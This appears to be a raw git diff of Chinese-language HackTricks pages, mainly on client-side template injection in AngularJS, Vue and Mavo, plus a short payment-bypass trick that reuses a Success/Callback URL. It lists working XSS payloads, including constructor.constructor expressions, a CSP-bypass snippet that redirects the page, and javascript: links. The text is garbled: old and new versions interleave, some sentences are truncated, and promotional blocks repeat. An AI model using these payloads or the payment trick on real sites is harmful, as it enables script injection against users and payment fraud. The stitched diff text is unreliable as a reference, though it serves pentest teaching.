- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
到对您最重要的漏洞以便更快修复它们。Intruder追踪您的攻击面运行主动威胁扫描在您的整个技术栈中找到问题从API到web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
1. 最好选择**PayPal**或**CoinPayments**作为支付方式
2. 拦截所有请求您可能会找到一个名为_**Success**_或_**Referrer**_或_**Callback**_的参数
3. 如果参数内的值具有类似_**example.com/payment/MD5HASH**_的URL
4. **复制它,并在新窗口中打开**,您会发现您的付已成功
3. 如果参数内的值类似这样的URL _**example.com/payment/MD5HASH**_ 例如
4. **复制它,并在新窗口中打开**,您会发现您的付已成功
@SalahHasoneh1
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
到对您最重要的漏洞以便更快修复它们。Intruder追踪您的攻击面运行主动威胁扫描在您的整个技术栈中找到问题从API到web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -41,16 +40,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,32 +1,30 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
# 概要
这类似于**服务器端模板注入**ssti-server-side-template-injection/),但是在**客户端**中。**SSTI**可以让你在远程服务器上**执行代码**,而**CSTI**可以让你在受害者中执行任意的JavaScript代码
它类似于[**服务器端模板注入**](ssti-server-side-template-injection/),但发生在**客户端**。**SSTI**可以让你在远程服务器上**执行代码**,而**CSTI**可能允许你在受害者中**执行任意JavaScript代码**
测试这个漏洞的方法与**SSTI**的情况非常相似,解释器会期望在**双大括号之间执行某些内容**并执行它。例如,使用类似于`{{ 7-7 }}`的内容,如果服务器**存在漏洞**,你将看到一个`0`,如果没有漏洞,你将看到原始内容`{{ 7-7 }}`
**测试**此漏洞的方法与**SSTI**的情况非常**相似**,解释器会期望在**双大括号之间**执行某些操作,并将执行它。例如使用类似:`{{ 7-7 }}`,如果服务器**容易受到攻击**,你将看到`0`,如果不是,你将看到原始的`{{ 7-7 }}`
# AngularJS
AngularJS是一个流行的JavaScript库扫描包含**`ng-app`**属性也称为AngularJS指令的HTML节点的内容。当将指令添加到HTML代码中时你可以在双大括号中执行JavaScript表达式。\
例如,如果你的**输入**在HTML的**body**中**反射**并且body定义了`ng-app`**`<body ng-app>`**
AngularJS是一个流行的JavaScript库它扫描包含**`ng-app`**属性也称为AngularJS指令的HTML节点的内容。当指令被添加到HTML代码中时**你可以在双花括号内执行JavaScript表达式**。\
例如,如果你的**输入**被**反映**在定义了`ng-app`的**body**内: **`<body ng-app>`**
你可以使用大括号在**body**中**添加**任意的JavaScript代码:
你可以使用花括号**添加**到**body**中来**执行任意JavaScript**代码:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -35,74 +33,41 @@ AngularJS是一个流行的JavaScript库它会扫描包含**`ng-app`**属性
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
您可以在[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)找到一个非常**基本的在线示例**,展示了**AngularJS**中的漏洞。
您可以在 **AngularJS** 中找到一个非常**基础的在线示例**,网址为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
{% hint style="danger" %}
[**Angular 1.6移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.),因此从该版本开始,像`{{constructor.constructor('alert(1)')()}}`或`<input ng-focus=$event.view.alert('XSS')>`这样的有效载荷应该可以使用
[**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) 因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}``<input ng-focus=$event.view.alert('XSS')>` 这样的有效载荷应该可以工作
{% endhint %}
# VueJS
您可以在[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)找到一个**易受攻击的vue.js**实现。
您可以在此处找到一个**存在漏洞的 vue.js 实现**[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
有效载荷示例:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
这里是易受攻击示例的**源代码**[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
以及这个存在漏洞示例的**源代码**在这里[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
一个关于VUE中CSTI的非常好的帖子可以在[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)找到
关于在 VUE 中的 CSTI 的一个非常好的文章可以在这里找到 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
## 客户端模板注入 (Client-Side Template Injection)
在许多现代Web应用程序中客户端模板引擎被广泛使用来动态生成HTML页面。这些模板引擎允许开发人员将数据和模板结合起来以生成最终的HTML输出。然而如果不正确地使用或配置客户端模板引擎可能会导致安全漏洞其中最常见的是客户端模板注入Client-Side Template InjectionCSTI
### 什么是客户端模板注入?
客户端模板注入是一种攻击技术利用了客户端模板引擎的漏洞允许攻击者在Web应用程序的前端代码中执行任意代码。这种攻击通常发生在模板引擎使用用户提供的数据来生成HTML输出时。
### 如何利用客户端模板注入?
攻击者可以通过在用户输入中注入恶意模板代码来利用客户端模板注入漏洞。这些恶意模板代码将被模板引擎解析和执行,从而导致攻击者能够执行任意代码。
### 客户端模板注入的危害性
客户端模板注入漏洞可能导致以下危害:
- 执行任意代码攻击者可以在受影响的Web应用程序上执行任意代码包括JavaScript代码。
- 敏感信息泄露:攻击者可以访问和窃取应用程序中的敏感信息,如用户凭据、会话令牌等。
- 跨站脚本攻击XSS攻击者可以注入恶意脚本从而导致XSS攻击。
- 绕过安全控制:攻击者可以利用客户端模板注入漏洞绕过应用程序的安全控制,例如访问未授权的功能或执行未经授权的操作。
### 如何防御客户端模板注入?
要防御客户端模板注入漏洞,可以采取以下措施:
- 输入验证和过滤:对用户输入进行严格的验证和过滤,以防止恶意模板代码的注入。
- 安全配置:正确配置和使用模板引擎,避免将用户提供的数据直接传递给模板引擎。
- 最小权限原则:将模板引擎的执行权限限制在最低限度,以减少潜在的攻击面。
- 安全编码实践遵循安全编码实践如避免使用eval()函数和动态执行用户输入的代码。
### 结论
客户端模板注入是一种常见的Web应用程序安全漏洞可以导致严重的安全风险。开发人员和安全专业人员应该了解这种漏洞的工作原理并采取适当的防御措施来保护Web应用程序免受此类攻击。
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **中查看更多VUE有效载荷**
**查看更多 VUE payloads 在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
有效载荷:
Payload:
```
[7*7]
[(1,alert)(1)]
@ -116,25 +81,23 @@ javascript:alert(1)%252f%252f..%252fcss-images
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**更多有效载荷请参考** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
**更多有效载荷** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **暴力检测列表**
# **暴力破解检测列表**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>